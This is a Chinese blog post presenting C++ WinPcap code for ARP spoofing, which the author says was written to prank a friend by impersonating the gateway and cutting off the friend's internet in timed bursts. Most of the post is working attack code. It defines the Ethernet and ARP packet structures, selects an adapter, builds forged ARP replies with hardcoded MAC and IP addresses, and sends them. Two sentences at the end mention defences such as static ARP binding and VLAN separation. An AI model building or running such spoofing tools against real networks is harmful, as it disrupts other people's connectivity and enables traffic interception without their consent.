基于Winpcap实现ARP欺骗

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/t60339/article/details/82797585

事件起因

某小伙伴太热衷于浏览新闻看网页,常常忘了自己手中的事情,于是做了这个小程序挑逗了一下

实现过程

ARP欺骗有分为2个方向,欺骗网关与欺骗被挑逗者,核心为伪造ARP Reply报文,更新目标主机的ARP缓存表,我这里选择了攻击被挑逗者,伪造网关向被攻击者发生ARP Reply报文,引发被攻击主机更新ARP缓存表

为了让对方有一定上网时间,攻击流程为:

  • 设置休眠间隔10-25分钟
  • 持续发送5分钟伪造的ARP回应报文给目标主机,随机间隔一定秒数发一个包

具体的ARP协议百度上很多,不讲了,直接看下代码实现

数据结构定义

#pragma pack (1)
//以太网帧头部结构体,共14字节  
struct EthernetHeader  
{  
	u_char DestMAC[6];    		//目的MAC地址 6字节  
	u_char SourMAC[6];   		//源MAC地址 6字节  
	u_short EthType;         	//上一层协议类型,如0x0800代表上一层是IP协议,0x0806为arp  2字节  
}; 

//802.1Q VLAN帧头部结构体,共18字节  
struct VlanHeader  
{  
	u_char DestMAC[6];    		//目的MAC地址 6字节  
	u_char SourMAC[6];    		//源MAC地址 6字节  
	u_short type;         		//0x8100

	// PRI(3 bit) | CFI(1 bit) | VID(12 bit)
	// PRI:表示帧的优先级,取值范围0~7,值越大优先级越高
	// CFI:值为0代表MAC地址是以太帧的MAC,值为1代表MAC地址是FDDI、 令牌环网的帧
	u_short vid;		  
	u_short EthType;         	//上一层协议类型,如0x0800代表上一层是IP协议,0x0806为arp  2字节  
};

//28字节ARP帧结构  
struct Arpheader {  
	unsigned short HardwareType;        //硬件类型  
	unsigned short ProtocolType;        //协议类型  
	unsigned char HardwareAddLen;       //硬件地址长度  
	unsigned char ProtocolAddLen;       //协议地址长度  
	unsigned short OperationField;      //操作字段  
	unsigned char SourceMacAdd[6];      //源mac地址  
	unsigned long SourceIpAdd;          //源ip地址  
	unsigned char DestMacAdd[6];        //目的mac地址  
	unsigned long DestIpAdd;            //目的ip地址  
};  

//arp包结构  
struct ArpPacket {  
	EthernetHeader ed;  
	Arpheader ah;  
};  

#pragma pack ()

选择网卡

    pcap_if_t* alldevs;        //网络适配器列表
    pcap_if_t* d;              //选中的适配器
    char errbuf[PCAP_ERRBUF_SIZE];
    if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)
    {
        cout << "pcap_findalldevs_ex fail";
        exit(1);
    }

    int i = 0;
    for (d = alldevs; d; d = d->next)
    {
        cout << "CARD:" << ++i << endl;
        cout << "name:" << d->name << endl;
        cout << "discription:" << d->description << endl;
        cout << "loopback:" << ((d->flags & PCAP_IF_LOOPBACK) ? "Y" : "N") << endl;

        pcap_addr_t* a;
        for (a = d->addresses; a; a = a->next)
        {
            cout << "Address Family:" << a->addr->sa_family << endl;
            switch (a->addr->sa_family)
            {
            case AF_INET:
                cout << "Address Family Name: AF_INET" << endl;
                if (a->addr)
                    cout << "Address: " << iptos(((sockaddr_in*)(a->addr))->sin_addr.S_un.S_addr) << endl;
                if (a->netmask)
                    cout << "Netmask: " << iptos(((sockaddr_in*)(a->netmask))->sin_addr.S_un.S_addr) << endl;
                if (a->broadaddr)
                    cout << "Broadcast Address: " << iptos(((sockaddr_in*)(a->broadaddr))->sin_addr.S_un.S_addr) << endl;
                if (a->dstaddr)
                    cout << "Destination Address: " << iptos(((sockaddr_in*)(a->dstaddr))->sin_addr.S_un.S_addr) << endl;
                break;
            case AF_INET6:
                cout << "Address Family Name: AF_INET6" << endl;
                if (a->addr)
                {
                    ip6tos(a->addr, ip6str, sizeof(ip6str));
                    cout << "Address: " << ip6str << endl;
                }
                break;
            default:
                cout << "Address Family Name: Unknown" << endl;
                break;
            }
        }
        cout << endl;
    }

    cout << "Use Which Card: ";
    int nNetCard;
    cin >> nNetCard;
    d = alldevs;
    for (int i = 1; i < nNetCard; i++)
    {
        d = d->next;
    }

伪造ARP Reply包

    EthernetHeader eh;
    Arpheader ah;
    u_char sendbuf[1518];
    eh.SourMAC[0] = 0x80;
    eh.SourMAC[1] = 0xc1;
    eh.SourMAC[2] = 0x6e;
    eh.SourMAC[3] = 0xdf;
    eh.SourMAC[4] = 0xad;
    eh.SourMAC[5] = 0x99;
    eh.EthType = htons(ETH_ARP);
    eh.DestMAC[0] = 0x54;
    eh.DestMAC[1] = 0xbe;
    eh.DestMAC[2] = 0xf7;
    eh.DestMAC[3] = 0x33;
    eh.DestMAC[4] = 0x5c;
    eh.DestMAC[5] = 0x2e;


    ah.HardwareType = htons(ARP_HARDWARE);
    ah.ProtocolType = htons(ETH_IP);
    ah.HardwareAddLen = 6;
    ah.ProtocolAddLen = 4;
    ah.OperationField = htons(ARP_REPLY);
    ah.SourceMacAdd[0] = 0x80;
    ah.SourceMacAdd[1] = 0xc1;
    ah.SourceMacAdd[2] = 0x6e;
    ah.SourceMacAdd[3] = 0xdf;
    ah.SourceMacAdd[4] = 0xad;
    ah.SourceMacAdd[5] = 0x99;
    ah.SourceIpAdd = inet_addr("192.168.100.1");
    ah.DestMacAdd[0] = 0x54;
    ah.DestMacAdd[1] = 0xbe;
    ah.DestMacAdd[2] = 0xf7;
    ah.DestMacAdd[3] = 0x33;
    ah.DestMacAdd[4] = 0x5c;
    ah.DestMacAdd[5] = 0x2e;
    ah.DestIpAdd = inet_addr("192.168.100.6");

    memset(sendbuf, 0, sizeof(sendbuf));
    memcpy(sendbuf, &eh, sizeof(eh));
    memcpy(sendbuf + sizeof(eh), &ah, sizeof(ah));

打开网卡

    pcap_t* pHandle;
    char errbuf[PCAP_ERRBUF_SIZE];

    if ((pHandle = pcap_open(pParams->pName, 65535, PCAP_OPENFLAG_PROMISCUOUS, 10, NULL, errbuf)) == NULL)
    {
        cout << "Fail to open " << pParams->pName << endl;
        return -1;
    }

发包

    if (pcap_sendpacket(pHandle, sendbuf, sizeof(eh) + sizeof(ah)) != 0)
        cout << "send packets error, code:" << GetLastError() << endl;

小结

对于划分了VLAN的不同网络,不在同一个VLAN的主机无法欺骗,因为交换机access端口通常不会合作,攻击包因为不属于access端口vlan会直接被丢弃

防范arp欺骗也很容易,直接静态绑定ARP缓存表即可,也可以划分vlan隔离发起攻击主机与被攻击主机

猜你喜欢

转载自blog.csdn.net/t60339/article/details/82797585
今日推荐